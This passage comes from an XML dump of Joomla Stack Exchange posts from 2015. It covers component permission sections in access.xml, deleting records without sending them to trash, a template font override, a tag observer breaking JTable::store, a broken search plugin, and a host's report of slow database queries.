/&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;course&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;course.edit&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.create&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.delete&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.access&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.version&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;session&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;session.edit&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.create&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.delete&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.access&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.version&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;note&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;note.edit&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.create&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.delete&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.access&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.version&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;question_and_answer&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.edit&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.create&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.delete&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.access&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.version&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;assessment&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;assessment.version&quot; title=&quot;COM_LEARNINGMANAGER_ASSESSMENTS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_ASSESSMENTS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;application_field&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;application_field.version&quot; title=&quot;COM_LEARNINGMANAGER_APPLICATION_FIELDS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_APPLICATION_FIELDS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;event&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;event.edit&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.create&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.delete&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.access&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.version&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;email&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;email.version&quot; title=&quot;COM_LEARNINGMANAGER_EMAILS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_EMAILS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;sms&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;sms.version&quot; title=&quot;COM_LEARNINGMANAGER_SMSS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_SMSS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;application&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;application.version&quot; title=&quot;COM_LEARNINGMANAGER_APPLICATIONS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_APPLICATIONS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;help_document&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.edit&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.create&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.delete&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.access&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.version&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;category.programs&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;COM_CATEGORIES_ACCESS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;COM_CATEGORIES_ACCESS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;COM_CATEGORIES_ACCESS_EDITSTATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;COM_CATEGORIES_ACCESS_EDITOWN_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/access&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to take the first section &lt;code&gt;&amp;lt;section name=&quot;component&quot;&amp;gt;&lt;/code&gt; and give it sub headings is really what I am trying to achieve, any help will be great!&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2016-04-21T12:27:11.840" Title="How to add more notes/text to the access.xml section of a joomla component?" Tags="|xml|permissions|access|custom-component|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12300" PostTypeId="2" ParentId="12294" CreationDate="2015-08-24T20:16:58.797" Score="2" Body="&lt;p&gt;Got the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filter does not work here. Removing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filter      =       &quot;safehtml&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;solves the problem.&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-08-24T20:16:58.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12301" PostTypeId="1" CreationDate="2015-08-24T21:22:00.237" Score="3" ViewCount="694" Body="&lt;p&gt;I would like to know how to directly delete a particular file or file list from joomla 3.0 backend without it's going to the trash first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;current code is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;state-&amp;gt;get('filter.state') == -2 &amp;amp;&amp;amp; $canDo-&amp;gt;get('core.delete'))&#xA;{&#xA;JToolbarHelper::deleteList('', 'spadonors.delete', 'JTOOLBAR_EMPTY_TRASH');&#xA;}       &#xA;elseif ($canDo-&amp;gt;get('core.edit.state'))&#xA;{&#xA;JToolbarHelper::trash('spadonors.trash');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have removed this following code from above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;state-&amp;gt;get('filter.state') == -2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I tried to to Empty trash then it give me the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning&#xA;Delete not permitted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need a help on this issue.&lt;/p&gt;&#xA;" OwnerUserId="4096" LastActivityDate="2015-08-24T22:05:53.550" Title="Direct file delete from Joomla site backend without going to trash" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12302" PostTypeId="2" ParentId="12301" CreationDate="2015-08-24T22:05:53.550" Score="2" Body="&lt;p&gt;The simplest way would require code edits in two places.  The first would be to remove the if/else logic and only load the button which handles actually deletion of the record and assigning a more appropriate label like 'Delete':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolbarHelper::trash('spadonors.delete', Text::_('COM_MYCOMPONENT_DELETE'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next you need to override the delete method in your SpaDonors controller to handle the required logic.  The below is untested boiler plate code, but the idea is you override Joomla's core delete functionality and manually process the deletion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function delete()&#xA;{&#xA;    // Get items to remove from the request and JTable object&#xA;    $cid = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('cid', array(), 'array');&#xA;&#xA;    // Load model, do not use delete method or you'll get same error&#xA;    $model = $this-&amp;gt;getModel();&#xA;&#xA;    // Load JTable class using model and pass in array of IDs to delete&#xA;    $table = $model-&amp;gt;getTable();&#xA;    $table-&amp;gt;delete($cid);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-08-24T22:05:53.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12303" PostTypeId="2" ParentId="12165" CreationDate="2015-08-24T22:12:09.887" Score="1" Body="&lt;p&gt;I believe here you need to register the task.  In your components controller class, the one located in either the front or back end folder root, add the following line inside your display method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;registerTask('jobApplications', 'jobapplications.addApplicationToDB');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should register the method with Joomla core.  I'd also remove the hidden input field with the name attribute &quot;controller&quot; and value of &quot;jobApplications.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-08-24T22:12:09.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12305" PostTypeId="1" AcceptedAnswerId="12306" CreationDate="2015-08-25T05:33:27.320" Score="0" ViewCount="194" Body="&lt;p&gt;Hi Seniors, &#xA;            I updated my joomla to 3.4.3, after updating its font family accidentally change  . Now i want to restore my previous font family on my client site. Thanks in advance.    &lt;/p&gt;&#xA;" OwnerUserId="5195" LastActivityDate="2015-08-25T06:55:39.763" Title="After up dating my joomla to 3.4.3 font family change" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12306" PostTypeId="2" ParentId="12305" CreationDate="2015-08-25T06:55:39.763" Score="3" Body="&lt;p&gt;There is a custom.css in your template folder (/templates/jsn_mico_pro/css/styles/custom.css). It overrides your font with Verdana and Arial.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Set font style for body */&#xA;body {&#xA;    font-family: Verdana, Geneva, sans-serif;&#xA;    font-size: 100%;&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just remove the content from this file and you should be fine. It's very unlikely that Joomla itself changed that font. Maybe you made a template update?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-25T06:55:39.763" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12307" PostTypeId="1" CreationDate="2015-08-25T07:28:29.340" Score="2" ViewCount="423" Body="&lt;p&gt;I'm using tags in my components. Hm, well - I would like to use them ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my form-declaration for tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field  name        =       &quot;tags&quot; &#xA;            type        =       &quot;tag&quot;&#xA;            label       =       &quot;JTAG&quot; &#xA;            description =       &quot;JTAG_DESC&quot;&#xA;            class       =       &quot;inputbox span12 small&quot; &#xA;            multiple    =       &quot;true&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my getItem in my model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * getItem function.&#xA; * &#xA; * @access public&#xA; * @param mixed $pk (default: null)&#xA; * @return void&#xA; */&#xA;public function getItem($pk = null)&#xA;{&#xA;    if ($item = parent::getItem($pk)) &#xA;    {&#xA;        // Convert the metadata field to an array.&#xA;        $registry                   =       new JRegistry;&#xA;&#xA;        if(isset($item-&amp;gt;metadata))&#xA;        {&#xA;            $registry-&amp;gt;loadString($item-&amp;gt;metadata);&#xA;            $item-&amp;gt;metadata         =       $registry-&amp;gt;toArray();&#xA;        }&#xA;&#xA;        if (!empty($item-&amp;gt;id))&#xA;        {&#xA;            $item-&amp;gt;tags             =       new JHelperTags;&#xA;            $item-&amp;gt;tags-&amp;gt;getTagIds($item-&amp;gt;id, 'com_bestia.goal');&#xA;            $item-&amp;gt;metadata['tags'] =       $item-&amp;gt;tags;&#xA;        }&#xA;    }&#xA;&#xA;    return $item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is my table's constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(&amp;amp;$db)&#xA;{&#xA;    parent::__construct('#__bestia_goals', 'id', $db);&#xA;    JTableObserverTags::createObserver($this, array('typeAlias' =&amp;gt; 'com_bestia.goal'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my table there's also an override for the store-method, because I have to prepare a Calendar-Field with format dd.mm.yyyy to be saved to MySQL DATETIME:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * store function.&#xA; * &#xA; * @access public&#xA; * @param bool $updateNulls (default: false)&#xA; * @return void&#xA; */&#xA;public function store($updateNulls = false)&#xA;{           &#xA;    if(!empty($this-&amp;gt;dateofbirth))  // Prepare DOB to be saved in database&#xA;    {&#xA;        // Set this to a format the sql-table is able to save&#xA;        $date                       =           JFactory::getDate($this-&amp;gt;dateofbirth);          &#xA;        $this-&amp;gt;dateofbirth          =           $date-&amp;gt;toSql(); &#xA;    }&#xA;&#xA;    // Use parent store method&#xA;    $result                         =           parent::store($updateNulls);    &#xA;&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now my problem is - if I want to save the records, I'm getting this response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Speichern fehlgeschlagen! Fehler:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which is translated:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error by saving! Error:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I var_dump $result in my store-method, I'm getting back &lt;code&gt;false&lt;/code&gt;. If I remove &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    JTableObserverTags::createObserver($this, array('typeAlias' =&amp;gt; 'com_bestia.goal'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$result is &lt;code&gt;true&lt;/code&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2018-03-15T10:35:59.513" Title="Using tags: JTable::store() returns false" Tags="|joomla-3.4|tags|jtable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12308" PostTypeId="1" CreationDate="2015-08-25T12:49:07.400" Score="0" ViewCount="1135" Body="&lt;p&gt;I upgraded my Joomla site from 1.5 to 2.5 and a few weeks ago to 3.4. I realised that my search didn't work. It returned a white blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I struggled over some articles on the web that a broken plugin could be the reason. So I disabled every search plugin and activated it step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally my &lt;code&gt;plg_search_content&lt;/code&gt; the reason. So I downloaded a fresh installation of Joomla 3 and extracted the &lt;code&gt;com_search&lt;/code&gt; from the &lt;code&gt;components&lt;/code&gt; and &lt;code&gt;administrator&lt;/code&gt; folder. But with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least a white blank page is shown if I enable &lt;code&gt;plg_search_content&lt;/code&gt;. Hopefully someone can help me to clearify this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR: Fresh overriding folders didn't help as of installed plugins, components and modules&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="5794" LastEditDate="2015-08-25T14:06:50.603" LastActivityDate="2015-08-25T14:06:50.603" Title="Joomla plugin search not working" Tags="|joomla-3.x|plugin|search|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12309" PostTypeId="1" CreationDate="2015-08-25T13:04:38.540" Score="2" ViewCount="83" Body="&lt;p&gt;Recently a server's admin sent a report about a Joomla site that is causing too much resource consumption. The report said :  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CAUSE OF HIGH RESOURCE CONSUMPTION:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We have conducted a detailed investigation and it turned out that Joomla executes slow queries towards its database, which eventually hogs the server. The server tries to execute your slow queries while putting other processes in the queue until some memory is freed. While they are waiting however, they stack up and cause further problems. There can be many reasons for slow database queries, but the following 3 are the most common ones:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Large database&lt;/li&gt;&#xA;  &lt;li&gt;Not well written scripts&lt;/li&gt;&#xA;  &lt;li&gt;Large number of internal links that query the database directly.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Here are some of the database queries that are slow and consume a lot of server resources:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Executed 1h 8m 56s ago for 87.512348 sec on Database --&gt; sporthis_tory &#xA;  Date: 2015-08-24 22:24:22 Query_time: 87.512348 Rows_examined: 5593: Rows_sent 247 Lock_time: 0.000197&#xA;  SELECT a.id, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(':', a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(':', cc.id, cc.alias) ELSE cc.id END as catslug FROM g06j5_content AS a LEFT JOIN g06j5_categories AS cc ON cc.id = a.catid WHERE a.catid = 105 AND a.state = 1 AND a.access = 1 AND (a.state = 1 OR a.state = -1) AND (publish_up = '0000-00-00 00:00:00' OR publish_up = '2015-08-25 03:22:36') ORDER BY a.created DESC; &#xA;  -------------------------------------------------------------------------------&gt;----------------------- &lt;/li&gt;&#xA;  &lt;li&gt;Executed 57m 7s ago for 67.095903 sec on Database --&gt; sporthis_tory &#xA;  Date: 2015-08-24 22:36:11 Query_time: 67.095903 Rows_examined: 5593: Rows_sent 247 Lock_time: 0.000252 &#xA;  SELECT a.id, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(':', a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(':', cc.id, cc.alias) ELSE cc.id END as catslug FROM g06j5_content AS a LEFT JOIN g06j5_categories AS cc ON cc.id = a.catid WHERE a.catid = 105 AND a.state = 1 AND a.access = 1 AND (a.state = 1 OR a.state = -1) AND (publish_up = '0000-00-00 00:00:00' OR publish_up = '2015-08-25 03:35:01') ORDER BY a.created DESC; &#xA;  -------------------------------------------------------------------------------&gt;----------------------- &lt;/li&gt;&#xA;  &lt;li&gt;Executed 1h 8m 56s ago for 52.137859 sec on Database --&gt; sporthis_tory &#xA;  Date: 2015-08-24 22:24:22 Query_time: 52.137859 Rows_examined: 5593: Rows_sent 247 Lock_time: 0.000169 &#xA;  SELECT a.id, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(':', a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(':', cc.id, cc.alias) ELSE cc.id END as catslug FROM g06j5_content AS a LEFT JOIN g06j5_categories AS cc ON cc.id = a.catid WHERE a.catid = 105 AND a.state = 1 AND a.access = 1 AND (a.state = 1 OR a.state = -1) AND (publish_up = '0000-00-00 00:00:00' OR publish_up = '2015-08-25 03:22:52') ORDER BY a.created DESC; &#xA;  -------------------------------------------------------------------------------&gt;----------------------- &lt;/li&gt;&#xA;  &lt;li&gt;Executed 1h 3m 29s ago for 45.861259 sec on Database --&gt; sporthis_tory &#xA;  Date: 2015-08-24 22:29:49 Query_time: 45.861259 Rows_examined: 5593: Rows_sent 247 Lock_time: 0.000650 &#xA;  SELECT a.id, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(':', a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(':', cc.id, cc.alias) ELSE cc.id END as catslug FROM g06j5_content AS a LEFT JOIN g06j5_categories AS cc ON cc.id = a.catid WHERE 